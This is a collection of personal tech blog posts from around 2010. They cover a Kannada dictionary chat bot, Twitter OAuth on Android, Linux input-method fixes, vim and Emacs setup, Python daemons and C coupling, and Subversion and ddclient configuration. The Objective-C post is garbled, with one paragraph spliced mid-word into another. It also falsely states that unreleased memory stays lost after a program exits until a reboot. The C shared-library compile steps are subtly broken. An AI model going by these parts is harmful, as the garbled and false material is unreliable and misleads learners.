So if you want to add the meaning to a word all you need to do is send the bot following line

#add word meaning(s)

If you have multiple meanings for a word please separate them with ",". We will collect all the meanings added by you and periodically send these to Wiktionary admins so they can verify these words and add them to Wiktionary. Please make use of this new feature and report back any bugs or any new suggestions :).. Also use the bot and help us to enrich the Kannada Wiktionary :).

A Jabber Dictionary Bot for Kannada

2010-11-21T09:49:00.000-08:00

If you want to know the Kannada meaning of a word or English meaning of a Kannada word using your IM then here is one Jabber dictionary bot for your assistance. You just need to send the word whose meaning you want to know to this bot and you will get the meaning of the word back or in case there is no meaning defined the bot will ask an apology :). Interesting eh?. The why are you waiting go on and add following email ID to your Jabber/Gmail buddy list.

kn.dict.bot@jabber.org

When bot comes online just tell him Hi or Hello and you will get a nice welcome message which is shown below

Now send a word either in English or Kannada and see what happens :).

This bot was originally developed by Santhosh Thottingal and SMC developers for Hindi and Malayalam, you can find more information about these bots here this bot supports Dictd protocol and Wiktionary. Currently this bot only uses Kannada Wiktionary as back end since Kannada Dictd dictionaries are not developed. Once we develop a Dictd dictionary I'll enable the Dictd support. I'm thankful to Santhosh Thottinal and SMC for allowing me to host the bot on their VPS.

Please use this bot service and report any bugs or suggestions. My email Id can be found on my blogger profile.

Android: OAuth authentication with twitter using oauth-signpost

2010-09-26T10:30:00.000-07:00

Twitter has recently stopped support for Basic Authentication scheme in twitter API, from now on all the app which will be using twitter api's should use OAuth authentication system. To know what is OAuth refer this wiki article and OAuth official website.
It took me few days to completely understand what is actualy going behind the scene in OAuth authentication scheme, thanks to this wonderful article.
Before starting with tutorial I assume that you know basics of android like creating a project , editing manifest files and configuring build paths. I won't be covering those here.

For using OAuth in android we will use a library called oauth-signpost written in java and freely available here. Download the oauth-signpost core and commons http jars. Add these jar's to the assets folder of your android project and add them to your project build path.
Before we begin we need to create a application in twitter and get our consumer key and consumer secret. Please go to this page and register your application

Application Name: is the unique name for your application which appears in your twitter status message.
Application Type: Select browser.
Callback URI: You can give any URL as of now, we are going to provide actual call back URL from our application code.
Once you are done with creating application copy the consumer key and consumer secret to a safe place

Twitter uses call back URL to send back the verification PIN to our application. Normally browser type is used only for web application but what we are going to do is make our android application browsable and use Android's data URI schemes to get back PIN from twitter. Other approach is making application type as client. In this case verification number is displayed in browser and you should ask your user to manually enter the verfication number in specified text box.
To make the application browsable and register data URI schemes with android runtime add following intent filter to your activity in AndroidManifest.xml. Browsable means your application can be launched using the data URI scheme registered in android manifest. For eg. you can open the android browser and type in scheme://host and it will launch your application also you can pass data to application from URI line.

Now declare the following variables, change consumer key and secret to the value you copied in step 2. Note that I'm declaring the CommonsHttpOAuthConsumer , OAuthProvider and HttpClient as static. I'll explain the reason later.

Now add a button to your view (main.xml) and in your activities onCreate function add the following code.

What actually we are doing here is retriving the unauthorized token and token secret from the Twitter and providing the twitter actual callback URL. When user authroizes the token and token secrets the verification code is sent to this URL (i.e browser will be redirected to this URL by twitter). Lets see what is really happening in the backend. Twitter redirects the browser to the call back url with oauth_token and oauth_verifier as query parameter. For eg. In our case to this URL scheme://host?oauth_token=1xx&oauth_verifer=1234. Since we are using android data uri scheme as callback URL browser simply relaunches our application passing it the oauth_token and oauth_verifier as intent data.
Since android supports multitasking relaunching just brings our application to foreground and control comes to the onResume function. We need to add the following code to our onResume function

Now I'll tell you why I declared 3 variables as static. As you see when user clicks the button we are launching the browser with authorize url making our activity to go to background. And when browser returns if I didn't declare my consumer object as static i'll get error while trying to retrive the authorized token and token secret with exception message "Authorized token and token secret not set did you already retrived the authorized token and token secret". After a while of googling I got this solution. Looks like these fields in consumer object were getting reset, I think may be because of GC. Any way instead of reinitializing and going through all the pain once again I thought of declaring these variables as static and it worked like a charm!
Save the access token and access secret obtained in step 8 in a safe place. These should used in your further interaction with twitter without making user login to twitter again. Note that twitter doesn't expire these access token and secret. It will be expired only when user revokes the application permission.

In the above example you might have noticed that I never used the http client which is declared. Wondering why? Well its used for posting status or retriving timelines from the twitter. You can ignore that variable :).
Thanks to this tutorial which helped me in writing the above code. It looks like the version of oauth-signpost library used in this post is older than the one which I used. In the next part I'll show how to fetch the time line from twitter and also post the status update to twitter. Till then C ya :).

Fix: iBus not working with OpenOffice in Xfce4

2010-09-26T02:20:00.000-07:00

Today I faced a really weird problem of unable to type Kannada in OpenOffice Writer using iBus. I'm using Xfce4 with GDM in Debian and installed it recently. I was able write in Kannada in OpenOffice with KDE4 and KDM.

After a small research igured out the issue was mainly because openoffice.org-gnome pacakge was not installed in my system where as in KDE environment with KDM had openoffice.org-kde installed.

Fix: If you are also facing this issue just check you have openoffice.org-gnome (for gdm) and openoffice.org-kde (for kdm) installed. After installing this packages you can start typing Kannada (or any other language) using iBus in OpenOffice.

iBus tray icon issue fix

2010-08-19T10:00:00.001-07:00

I use Debian Sid with KDE 4.4 and use iBus as IME for using Indic languages. But recently the iBus tray icon was not loading and a white patch used to appear which looked ugly. To see what is going on I ran ibus in debug mode using following command.

ibus-daemon -xvr

I got the following message in the terminal

/usr/share/ibus/ui/gtk/icon.py:35: GtkWarning: Could not find the icon 'ibus-keyboard'. The 'hicolor' theme

was not found either, perhaps you need to install it.

You can get a copy from:

http://icon-theme.freedesktop.org/releases

The message clearly indicates the Gtk system was unable to find out icon named ibus-keyboard. To debug this issue I opened the file /usr/share/ibus/ui/gtk/icon.py to see if the name or path of icon is in the file. Frankly I'm a noob in PyGtk programming and didn't understand any content present with in the file, but a line attracted my attention and thought of trying it out. Following is what I did in Python console.

Python 2.6.6rc1+ (r266rc1:83691, Aug 5 2010, 19:21:55)

[GCC 4.4.5 20100728 (prerelease)] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> import gtk

** Message: pygobject_register_sinkfunc is deprecated (GtkWindow)

** Message: pygobject_register_sinkfunc is deprecated (GtkInvisible)

** Message: pygobject_register_sinkfunc is deprecated (GtkObject)

/usr/lib/pymodules/python2.6/gtk-2.0/gtk/__init__.py:40: RuntimeWarning: tp_compare didn't return -1 or -2 for exception

from gtk import _gtk

Traceback (most recent call last):

File "/usr/lib/pymodules/python2.6/gtk-2.0/gi/__init__.py", line 27, in <module>

from gi.repository import GObject

ImportError: cannot import name GObject

>>> icon_theme = gtk.icon_theme_get_default()

>>> icon_theme.get_search_path()

('/home/vasudev/.icons', '/home/vasudev/.local/share/icons', '$XDG_DATA_DIRS/icons', '/usr/share/akonadi/agents/icons', '/usr/share/akonadi/agents/icons', '$XDG_DATA_DIRS/pixmaps', '/usr/share/akonadi/agents/pixmaps', '/usr/share/akonadi/agents/pixmaps')

>>>

I have made the line which gave me a hint to find this fix bold. Clearly the normal Gtk icon folder path is not present in the image search path. (i.e /usr/share/icon where the iBus icon is present). I'm not sure whether this is a bug or normal behaviour but whatever it is below is the fix which makes the iBus icon reappear in tray.

ln /usr/share/icons/hicolor/scalable/apps/ibus-keyboard.svg ~/.local/share/icons/

This is what above command did, it created a hard link of the icon in one of the directory where Gtk module is looking for icon. Thats it relaunch the iBus and tray icon should be fixed by now ! :)

Inserting GPL license notice in Emacs

2010-08-08T10:35:00.000-07:00

If you have used Geany a simple IDE it allows you to insert the GPL or similar license into the code file. I use Emacs and when I want to insert some sort of open source license I had to switch back to Geany and insert the license and return back to Emacs. Finally I thought of writing my own yasnippet to do this job. I've written 2 separate snippet files one for Python and other can be used by all languages which use C style comments.

The snippet does the following

1. It gets the name of the file from the current buffer's name

2. Copyright statement similar to one found in GPL license notice. Here I extract the year from current date. Also I insert the user name and email address from elisp variables user-full-name and user-mail-address. For customizing user name and email address please add the following lines in your .emacs file

(setq user-full-name
"Your name")
(setq user-mail-address
"Your email address")

3. Next comes the type of license. You can select license from drop down (Lesser,Affero) if you want to use GPL then just leave this field to default.

4. Version is also selected from drop down. Version 2 and 3 are for GPL,Affero and 2 2.1 for Lesser GPL. Its up-to user to select proper version for a license selected in previous option.

The first 2 options that is file name and copyright lines can be edited to override default values. Please use Tab key to navigate from one field to other.

Here are the installation instruction

1. Copy the pygpl to snippets/text-mode/python-mode/ folder.

2. Copy the cgpl file to snippets/text-mode/cc-mode directory and then create hard links using ln in c-mode and c++-mode.

Usage:

1. In the Python mode just type pygpl and then hit Tab key and license notice will be inserted starting from the line where you wrote pygpl.

2. For C/C++ or any other mode follow the same step just type in cgpl instead of pygpl rest all remains same.
Here is a screen shot of the license notice inserted in a Python file

You can get the snippets from github. This is the first version of these snippets. Any suggestions on improvements are welcome :)
--Vasudev

Creating a Daemon Process in Python

2010-07-11T11:10:00.001-07:00

Daemons in computer world refers to a process that runs in background in a Unix like operating system you can read more on Daemons in this Wikipedia article. I knew how to create a daemon in the C program but didn't find any good article on how to do it in Python except this one. The main guidelines for writing a daemon process are as follows

First the program needs to fork and parent should exit leaving the child as orphan which will be then adopted by the init process which is parent of all process in Unix like operating system. Caution: do take care so that your process doesn't end up as a Zombie Process (avoided by doing a double fork. 1st parent forks a child which then forks a second child after forking first child exits and then parent exits and the second child continues to execute as a daemon)
A process has a controlling terminal and receives all signal from the terminal. Child inherits the terminal of process but a daemon should not receive any signal from controlling terminal so we need to disassociate from any terminal and also from process groups. This can be done by creating its own process group and becoming the session leader. To achieve this setsid system call is used
By default a child process also inherits open file descriptor from its parent and most of the time it may not be using these resources so its good if we release/close all these file descriptors.
Next is setting the working directory as / (root) this is done so that process doesn't keep any directory in use on a mounted file system (not allowing to unmount). But using / may not be good in all cases so working directory should be chosen carefully. This can be achived using chdir system call
Setting the file creation mask is next step. Normally daemons will be running as super user and files created by it needs to be protected. This can be done by using umask system call.
Catching the Signals is the next step. Normally daemon process may get signal from a user or other process. For eg a child process may send SIGCHLD when it terminates. Daemons should catch these signals and act accordingly (except SIGKILL). This can be done using signal handlers utilizing signal.h
Daemon process won't be attached to any terminals or consoles so messages from daemon process needs to be written to some file or we need to use syslogd interface to log the events which is more flexible.

Well that’s about the steps / guide lines to create a daemon processes. Here is the code which I wrote in Python which uses double forking and creates a simple daemon which actually does nothing :P.

Python and C Coupling

2010-07-05T09:33:00.001-07:00

One of the best feature of Python is you can write some modules in C and use it in the Python. This is usually done for the parts of the program which requires intensive calculation and their implementation in Python may make entire application slow. For coupling you need to write the function which are calculation intensive in C and create a shared library file of it. Then you can use the ctypes module in Python to import those module into your Python program. Well as an example lets write an C function for calculating factorial. See the code below

Lets call this file test.c Now compile this file with following commands

gcc -fpic test.c
gcc -shared -o libtest.so test.o

This creates a shared library (dll in Windows way). Now lets write a Python file with same function to calculate factorial. Why I'm doing this is to show the efficiency of using C coupling. Below is the sample code I used.

Well don't worry I purposefully did factorial of 1000 to show what happens. Python will run out of stack space and if you remove the try except block python will complain about stack depth exceeded and finally quits, but C function works pretty fine and returns a result. Well I don't know if result is proper or not since finding result wasn't my concern. Here is the output you get when you run the program

Python recursive call error stack depth exceeded

C call from python 0.062844

You can change the number and test the time taken. One thing I want to tell here is CDLL is for *nix users, if you are Windows user you should use either WinDLL or OleDLL class for doing this. Any variable you pass to the C functions need to be of types defined in ctypes you can't directly pass a Python data type to C functions.
There is no proper example available on how to use this in documentation so thought of writing this blog. I'm still learning the ways of utilizing C programs from with in Python. And as I learn new things I'll update them here.
Vasudev

Dynamic CSS Loading and Creation using Jquery

2010-07-03T08:29:00.001-07:00

This is my first post on web development side. Frankly I'm not a designer and I don't understand the art of designing correctly. But this time I got in a situation where I had to do design changes in Silpa's Web font module. SILPA is the first service which provides Indic web fonts. Currently we have web font for Malayalam and Kannada languages.
Requirement was something like this - I need to get font details from Silpa which contains Font name, its language and sample text to preview the font.
Challenge: To preview the font on sample text, I needed to get @font-face CSS from the Silpa which can be done using <link rel="stylesheet" href="http://smc.org.in/silpa/Webfont?font=Malige"/ type="text/css"> tag which need to be put in <head> section of HTML page and create corresponding CSS for the font dynamically.
Solution: Santhosh gave me a hint "google dynamic CSS loading using Jquery" and this link came to my rescue. Here is what I did

css_link is generated using font name returned by the SILPA. Next was to create font CSS for each font's preview text. Well I used my own technique without knowing it will work or not but voila it worked :)
Here is what I did

And voila webfonts where previewed :). Here is the link for the page http://smc.org.in/silpa/Webfonts.If you didn't understand the entire code have a look at the source code here.Comments are welcome.

A Small Python module to parse Apache Log lines

2010-06-27T02:24:00.001-07:00

This is my first module written in Python. I wanted to extract the information from Apache access log line so searched for existing modules, even though I found one i felt logic is too complicated, I wanted a very simple module. So thought why don't I write my own module to parse log lines. Since I designed this to meet my requirements it may not be a complete module. It can parse and give you information from the Apache access log lines which is either common or combined format. If you don't know what is common and combined format refer this documentation. This module doesn't validate the lines to check if its really Apache log lines it depends on user to pass correct line. I've also added another simple module which can get you information from error log line. The module is available in gitorious

Below is the code which shows how to use this module.

import apachelogparser as a
f = open("/var/log/apache2/access.log") #change it to suit log location in your machine
line = f.readline()
log_parser = a.ApacheAccessLogParser()
log_parser.parse(line)

The fields of log_parser object will be filled with information extracted from the line. Please refer the README in documentation for information on the field. Similarly you can extract information from the error log. Well hope this module helps you :). Soon will be publishing the project for which I wrote this module till then.

Vasudev

SILPA - An Indian Language Processing Application

2010-05-24T09:37:00.000-07:00

SILPA stands for Swathantra Indian Language Processing Application. Swathantra stands for free as in freedom. Its a web framework which provides a set of language processing application for Indian Languages. It has also ported many existing stand alone application to the web framework. SILPA is entirely written using Python and its a framework written from the scratch with out following any of existing Python framework. Credit of writing this framework goes to Santhosh Thottingal.

Coming to the implementation details of SILPA. SILPA is a modular framework, in the sense all the language processing services are organized as separate modules and user can activate or deactivate these modules by commenting or un-commenting respective lines in a configuration file (silpa.conf). SILPA uses the WSGI interface. Silpa also provides JSON RPC API's to expose this services to wide range of platform.

Some of the service provided by the SILPA include Spell checker service, transliteration which include ISO 15919 and IPA and according to Santhosh this is the first application providing the transliteration in ISO 15919 and IPA for Indian languages. Silpa also has Indic Soundex module which is the modification of Soundex algorithm to suit the indic languages. Of course all these services are still in development stage.

SILPA provided the transliteration service for Indic Languages before the Google's scriptconv.googlelabs.com but service was not so popular which will make people think that Google brought the transliteration service for Indian Language first. The website transliteration service which is powered by SILPA can be accessed at http://thottingal.in/go

Similar to transliteration service Silpa also provides spell checking service for all Indian Languages and English. PHP helper library is also written for this module to allow the developer consume this service from PHP. Online spell checking service for Indian Language is designed using this PHP library and is available at http://thottingal.in/projects/spellchecker/. The source code for PHP library is available in Github
You can find more about Silpa and service provided by it in this link. You can also try out these services here. SILPA is currently lacking developers, currently we have only 2 active developers Santhosh, and myself. Of course I'm beginner and helping in fixing minor issues and performance improvements and also Kannada related bug fixes. We will be happy to have more developers since there are many pending tasks to be done for this application. I'll list few of them below.

Improving the Spell checker algorithm and making it more accurate
Currently transliteration from English to Indic language is chained through Malayalam and we need developers from respective languages to provide more efficient and independent transliteration
We have plans to pull the words from as many sources as possible including Wiktionaries to create Indic language dictionary.
Writing documentation for the API interfaces (both in Python and JSON) etc/

If any one is interested in helping us in improving the service for their language. You can join us by registering in Savannah and requesting for membership in the same link. You can also subscribe to Silpa mailing list. The basic skills we are looking for is

Proficiency in natural language
Basic knowledge in Python
Basic knowledge of working with Git.

VIM auto-complete feature for GAE (python) using PyDiction

2010-04-18T00:13:00.001-07:00

In my one of the previous post on Vim auto-complete features, I used pydiction plugin to configure the Python auto-complete in vim. Same pydiction plugin comes with a handy python script called pydiction.py which allows you to add new module to the existing python auto-complete dictionary "complete-dict".
For adding GAE to this auto-complete dictionary follow these steps.
1. Extract the google-appengine to say bin folder in your home directory. For eg .home/user/bin/google-appengine.
2. Now add a symbolic link to this folder in your python's site-packages directory which is found in /usr/lib/python2.x/site-packages. You can use this command for the purpose but remember to change the version number of python appropriately.

cd /usr/lib/python2.5/site-packages
sudo ln -s ~/bin/google-appengine/google

3. Now go into the folder ~/.vim/pydiction1.x/ (if you followed my instruction to setup pydiction or wherever you have the complete-dict and pydiction.py) and run the following command

pydiction.py google
pydiction.py google.appengine
pydiction.py google.appengine.api

As you encounter more module keep extending your dictionary set using pydiction.py. Note that pydiction.py backs up your complete-dict file each time you run it to a file complete-dict.last. So its better or shall I say its mandatory to have complete-dict and pydiction.py in same folder.
Thats all folks now you can program GAE with your vim without bothering to use memory hogging eclipse IDE. Enjoy !!! :)

Vasudev

Sidux Saga

2010-04-10T01:40:00.001-07:00

After a very long time I finally removed the Windows partition and completely installed Sidux. Sidux a Linux distribution completely based on the Debian Testing/Sid. Unlike Ubuntu Sidux maintains Debian flavor with it. It completely follows Debian Software policy and follows the latest software to the user. Since Sidux also uses Debian Sid there is a myth that its unstable, but frankly its not unstable its been a week for now i'm using Sidux without breaking a sweat.

Sidux Desktop : Sidux basically comes with 2 desktop environment KDE and Fluxbox. I chose KDE full live CD which is about 2GB live ISO which supports x86 and AMD64 versions. Sidux currently runs KDE 4.3.4 with all the latest KDE apps and Open Office 3.2 and KMail 1.12. By seeing the Kubuntu I was always thinking KDE is such a buggy desktop, but after using the Sidux I'm changing my thinking about KDE, it isn't that buggy but in Kubuntu for some reason it looks more buggy.

Sidux Installer and Boot up : Sidux has a nice installer which in some way is like Wubi installer but there is no resemblence. Installation was a easy process, boot live CD click on Sidux Installer provide proper partition for installation and just click next. Time of installation was hardly 5-6 minute which beats even Ubuntu installation time :) . Boot up was pretty fast and unlike Ubuntu boot process is similar to Debian.

Sidux package management : Sidux package management is same apt-get dpkg. The one reason why I won't recommend Sidux to beginers is "you meed to be well versed with apt-get command line system". Even though there is package manager available it ain't that good. Also there isn't any automatic update notifier you need to check all these things manually. But there is a reason for this since Sidux uses Sid repositories, there will be lot of changes to the repository each day and Sidux manual clearly mentions not to dist-upgrade in X mode, alternative for this is to download the packages manually using apt-get's -d option and then log off the KDE , log on to virtual console and switch to runlevel 3 do the upgrading once every thing finishes clean the cache and switch back to runlevel 5. This is not so difficult to geeks who are well versed in command line. One more issue is update amount, due to usage of Sid repository each day there will be a lot of updates (arround 100MB), this sole reason put me in a dilemma of whether to continue with Sidux or switch to Debian testing. Any suggestions on these are welcome ;).

Sidux Security updates : Since there isn't any security updates available for Sid itself there isn't any security update concept for Sidux. So Sidux is best suited for the desktop machines.

As final words I will say Sidux is a rock solid distro which provides you pure Debian flavor with all latest packages. So if you love some challenge and fun then I would say go for it (Sidux). If I make up my mind to continue with Sidux this Saga will continue :).

Vasudev

Using dyndns service with Dialup Modem on Debian/Ubuntu

2010-03-30T09:54:00.001-07:00

I know dial up modems are almost out of date, but there are still people like me who are satisfied with dialup modem (or are not able to afford broadband :P ). So if you are using a dialup modem and want to use dyndns service there is good tool available for you to update you IP address to dyndns without having to login to the web interface. This tool is ddclient and can be downloaded from here.

For those who want to know what is dyndns, it provides home and small businesses users domain, email, and Internet infrastructure services. More info here.

Ok once you download the tar ball extract it and copy the ddclient perl script to the /usr/sbin/(You need to be root or need to use sudo).
Create /etc/ddclient directory and create a file ddclient.conf inside it with following contents

# /etc/<span class="searchword0">ddclient</span>/ddclient.conf
#
protocol=dyndns2
use=web
login=mylogin
password=mypassword
myhost.dyndns.org

Change the fields appropriately.

Now create directory /var/cache/ddclient and create a file ddclient.cache inside it. You can use touch command for this purpose.
To update your IP after you connect to internet run the following command

sudo ddclient -daemon 300 -syslog

The output of command will be present in /var/log/syslog. Just verify the log to make sure that you have updated the ip successfully. You can write this command to a script file and add it to startup but I don't recommend because while using modem we need to dial manually so we can update the ip with above command once we get connected to internet.

Integrating Version Control with vim

2010-03-07T07:11:00.001-08:00

Version Control system is very important for a developer, and it will be easy for the developer if he can use the version control system from the editor which he is using. Most of the IDE's like eclipse with plugin support most popular version control systems like Subversion (svn) CVS. Even though there are plugin support for the other Version controls like git its not completely evolved so developer has limited choice when using such version control. But surprisingly vim has plug-in which integrates with all the version control flawlessly. Let me tel you how to install this plug-in with the vim.

1. Download the plug-in package from here

2. Zip contains doc, plugin, syntax folders

3. Extract these folders into ~/.vim folder

4. Add the documentation to the vim. To do this follow these steps

Launch vim
In the command mode i.e pressing <Esc> type in this command :helptags ~/.vim/doc . This command generates the documentation for the files placed inside the ~/.vim/doc folder. After this you can access all the help regarding the VCSCommands by typing :help VCSCommand.
Some basic ones are :VCSCommit for commiting :VCSAdd to add a file to version control. :VCSLog to see change log.
One good thing is you don't have to remember version control specific command and don't even have to bother on which version control you are using, plugin itself finds which version control to use. Single plugin for all Version controls nice rite. :)
One thing to keep in mind you should be in working directory (i.e directory to which you checkout)other wise you will see VCSCommand: No suitable plugin found message

Well thats all folks its so simple to use version control with vim. I'm currently using vim with git and it works flawlessly. Well enjoy version control with vim. C ya :).

Technorati Tags: vim, ubuntu, version control

C/C++ Auto Complete for vim

2010-02-28T03:37:00.001-08:00

In my last post I told how to make vim give auto complete suggestion for Python. Now its time for C and C++. During our college days in lab we used vim in C/C++ related labs and we had to remember each and every function the outcome was students bi-hearting the programs with out understanding it (of course they wont enjoy programing ;) ). Of course there are many editor with good features but the simple editor like vim also has very good feature (some time can say better than full fledged IDE's). Ok now lets get to the point. You need to download the following things before proceeding

1. OmniCppComplete plugin for the vim

2. exuberant-ctags. (if you are using Debian based distro's you can use this command sudo apt-get install exuberant-ctags)

3. CPP STL source for ctags

Copy each of this directory into ~/.vim folder. Note if you already have after directory structure in the ~/.vim just copy the 2 *.vim files into ~/.vim/after/ftplugin/ folder.

2. Now in the .vimrc if you haven't already enabled file type plugin enable it and the set nocp line above it. Your .vimrc should have lines looking like this

1 " Enable file type plugins
2 set nocp
3 filetype plugin on

3. Create tags directory inside the ~/.vim.

4. Unpack the cpp_src.tar.bz2 and generate the tags for stl and move it to ~/.vim/tags directory. Use the following command

ctags -R --c++-kinds=+p --fields=+iaS --extra=+q --language-force=C++ cpp_src && mv tags ~/.vim/tags/stl

Explanation for the options can be found in the man pages of ctags. In ubuntu machine you may need to use sudo before both command. Similarly you can create tags for the Open GL Qt4 or any other libraries which are present in /usr/include directory. Each library will be present as directory for eg. If you have installed libxml2 you will have libxml2 directory. In the above command just change the directory name to appropriate one and also generated tags file to avoid over writing.

5. Well now some changes needed to do be done in .vimrc file. Copy paste the below code into your .vimrc

6 " configure tags - add aditional tags here or comment out not-used ones
7 "set tags+=~/.vim/tags/gl
8 set tags+=~/.vim/tags/stl
9 set tags+=~/.vim/tags/libxml2
10 set tags+=~/.vim/tags/llvmc
11 set tags+=~/.vim/tags/llvm
12 set tags+=~/.vim/tags/cairo
13
14 " build tags of your own project with CTRL+F12
15 "map <C-F12> :!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q .<CR>
16 noremap <F12> :!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q .<cr>
17 inoremap <F12> <Esc>:!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q .<cr>
18
19 " OmniCppComplete
20 let OmniCpp_NamespaceSearch = 1
21 let OmniCpp_GlobalScopeSearch = 1
22 let OmniCpp_ShowAccess = 1
23 let OmniCpp_MayCompleteDot = 1
24 let OmniCpp_MayCompleteArrow = 1
25 let OmniCpp_MayCompleteScope = 1
26 let OmniCpp_DefaultNamespaces = ["std", "_GLIBCXX_STD"]
27
28
29 " automatically open and close the popup menu / preview window
30 au CursorMovedI,InsertLeave * if pumvisible() == 0|silent! pclose|endif
31 set completeopt=menuone,menu,longest,preview

set directive points omnicppcomplete plugin to the proper tags, do comment or uncoment according to tags which you have generated, also ignore the numbers since I had turned on numbering in my vim it came and I'm lazy to remove all the numbers :P.

The next line is mapping of F12 key to generate tags for project you are working on currently. You need to manually use it if you want to use auto complete feature with your currently working file set. Note command assumes that all your files are present in current working directory. Below is the screen shot of my vim's auto complete in action.

Well that's all folks. Hope you will enjoy coding with vim's auto complete feature. C ya

Vasudev

Installing and configuring Subversion with Apache on Ubuntu

2010-02-21T08:37:00.001-08:00

To install the Subversion a popular version control system in Ubuntu or Debian based distro's follow the following steps. I'm configuring subversion with apache webserver using dav_svn module of apache2.

1. Get the subversion and tools using following command

sudo apt-get install subversion subversion-tools

2. If you have not already install apache2 install using following command

sudo apt-get install apache2

3. Install the subversion module for apache i.e mod_dav_svn. Use the following command

sudo apt-get install libapache2-svn

Next is to create and configure a repository to work with. I've created a folder called svn in / folder inside which all repositories reside. You can choose any folder of your choice.

1. Create a directory svn under root partition i.e /

sudo mkdir svn

2. Create a folder for your project with which you want to use subversion. Taking project name is myproject here is the procedure to create svn repository

cd /svn
sudo mkdir myproject
sudo svnadmin create myproject

The svnadmin create command creates the repository. Next is to configure Apache server for serving this repository. Open the file /etc/apache2/mods-available/dav_svn.conf in your favourite editor. (Note you need to have su rights to save changes). Add the following lines

<Location /svn/myproject>
   DAV svn
   SVNPath /svn/myproject
   AuthType Basic
   AuthName "Subversion repository for myproject"
   AuthUserFile /etc/subversion/passwd
   Require valid-user
</Location>

SVNPath points to your repository. AuthType Basic means requires authentication. Now you need to create AuthFile i.e passwd file and also need to create the users for the repository. First lets see how to create the users.

1. Go to repository folder and enter the conf directory. i.e

cd /path/to/repository/conf

2. edit the authz file. You may need to use sudo for that purpose. add the following lines.

[group]
commiter=vasudev
developer=somedeveloper

[repository:/]
@commiter=rw
@developer=r

I always use this way you can create individual user and give them permissions though. [group] tells svn the groups of user for this repository. Second set i.e [repository:/] this is used to give permissions on particular folder tree under repository (normally repository will have trunk tag branches directory). The permission here applies to all the folder (i.e trunk tag branches). You can customize permission on each folder using several these sections. (If you use so be sure to put the root section at the end )

3. Next is creating the password file. I chose /etc/subversion folder to place my password file. Use the htpasswd command to create the password for each user mentioned in each group of authz file. After you are done reload the apache using following command

sudo /etc/init.d/apache2 reload

4. Next is trunk tags and branches import. Create directories /tmp/myproject /tmp/myproject/trunk /tmp/myproject/tags /tmp/myproject/branches folder. And use the following command

svn import /tmp/myproject http://localhost/svn/myproject -m "Initial directory imports"

SVN will ask for the user name and password and then adds the directories to your repository. Once this is done you can use the svn import to import your existing project work to the trunk of the repository.

Well thats it you can access your repository by following http://localhost/svn/myproject from your browser or using any clients or IDE plugins. If you want nice UI while accessing the svn from browser you can either install view vc for apache2 or use WebSVN. Well let me write a post on Websvn, till then C ya.

Python Auto Complete for vim

2010-02-21T07:23:00.001-08:00

After struggling arround with lot of editors finally i made up my mind to continue with my old favourite editor vim. I choose Python as my primary language along with C and C++. Coming to the point I know vim 7.0 has auto complete feature but it works only by looking at what is already there in current workspace (content you are editing or creating). After googling a bit I came across this link Python Auto complete script for the vim. But had some trouble in setting up the things quickly. So writing this blog to make any other who want to use vim as their primary editor. :)
1. From the above mentioned link please download the latest pydiction-x.x.zip wr x.x is version.
2. In you home folder create .vim folder (if it doesn't already exists create one) unzip the contents. You will get a directory named pydiction-x.x containing following files

python_pydiction.vim
complete_dict
pydiction.py

python_pydiction.vim is vim script, you should move it to ~/.vim/after/ftplugin/ (again if directory doesn't exist create one ). This is the default location on *nix* systems where vim will be looking for the filtype plugin. Note: Only move the .vim files to this directory
complete-dict is python dictionary containing all python function names. pydiction.py is used to extend this dictionary.
Now you need to create a file .vimrc in your home folder (if such file doesn't exist already)and add the following lines to the beginning of the file

" Enable file type plugins
filetype plugin on
let g:pydiction_location='/home/vasudev/.vim/pydiction-1.2/complete-dict'

First line tells vim to use file type plug-ins from ~/.vim/after/ftplugin and second line tells the location of dictionary file. Note: You can place this file any where in your system. Just give a proper path :)
I'm still customizing the vim editor and will be writing all my customizations here soon so watch out folks ;)

Objective C – My Opinions

2010-01-23T09:16:00.000-08:00

Objective – C is a super set of C with messaging style of Small Talk programming languages. Objective C is backbone of Apple's operating system. Cocoa and Cocoa Touch API's which are used by Macintosh OS and iPhone OS. Even though you don't need to use Apple platform to learn Objective C, GNUStep which is clone of NeXTStep based on OpenStep standard allows programming with Objective C and Cocoa based API's on either Windows or Linux platform with GCC complier. But if you want to become a full fledged programmer with Cocoa API's you need to use Mac OS X operating system (and ofcourse their hardware ;) )

Ok now to the point I was basically a programmer who worked on the Java, PHP and Python like dynamic and managed languages. But needs arised and I had to learn Objective C, as usual I learnt the basics of Objective C and started programming with Cocoa Touch API's (i.e iPhone). But within few days I learnt that Objective C is not like the languages which I've been using till now. Let me tell few things to keep in mind when moving from managed programming languages to a ~~unmanged~~ programming language like Objective – C(Before version 2.0. 2.0 has introduced a optional garbage collector, but for iPhone OS there is no garbage collector).

What is managed and unmanaged languages?

Programming languages like Java is called managed language because programmer is relived of the memory management issues. To be clear programmer can allocate objects and just forget about it after that. Why I'm telling like this is there is Garbage collector which will be run by JVM periodically which will release these objects.
So what are PHP and Pyhon like languages? Well these are also managed + dynamic languages, meaning you don't have to declare a variable before using them. System will decide their type during runtime.
Comming to unmanaged languages like Objective C (Objective C 2.0 has introduced garbage collection though garbage collector is absent on iPhone OS). These languages except programmer to handle the memory management. Meaning its up to programmer to release the objects that he has allocated before program exits. Well this is were most of the managed language programmer feel difficulty while transiting to Objective C. We are always told in our engineering courses that you need to release what you allocate but nobody took it seriously that time :) and nobody told us the importance of releasing objects that time (guess lecturers themselves were not nowing the reason ;) ). But belive me when I started with Objective C I understood the reason. It is to avoid memory leaks and it becomes serious issue when your program is supI feel Objective C should be introduced as part of academics in India since it makes students to learn basics of memory management which is most important thing to know before becomming a professional programmer. And Objective C is more OO than the C++. Concepts OOP will be more clear with Objective C than C++ but point should be noted that some concepts of OOP like abstractions are not included in Objective C but I feel abstraction is not required in normal scenarios :). According to me evethough its unmanaged language Objective C is still a beautiful language out there.posed to run on limited memory devices like phones PDA's etc.

Memory Leaks what are these? Ok as I mentioned in my last point in unmanaged languages not releasing the objects which you allocate will lead to memory leaks. Let me try to define it in my own terms :). OS allocates chunk of memory to the programs and expects the programs to return it back when program is done. In other words when you try to allocate an object system gives a memory reference to you (your program) and makes you (your program) its owner. Owner here means once the memory reference is passed to your program its management is upto your program including returning it back to the OS. In other words if you fail to release what you allocate that part of memory will not be touched by the OS even if your program exits (untill and unless a hard reboot occurs) meaning waste of resource and in small device ( also in normal computers ) this may lead to system crash.
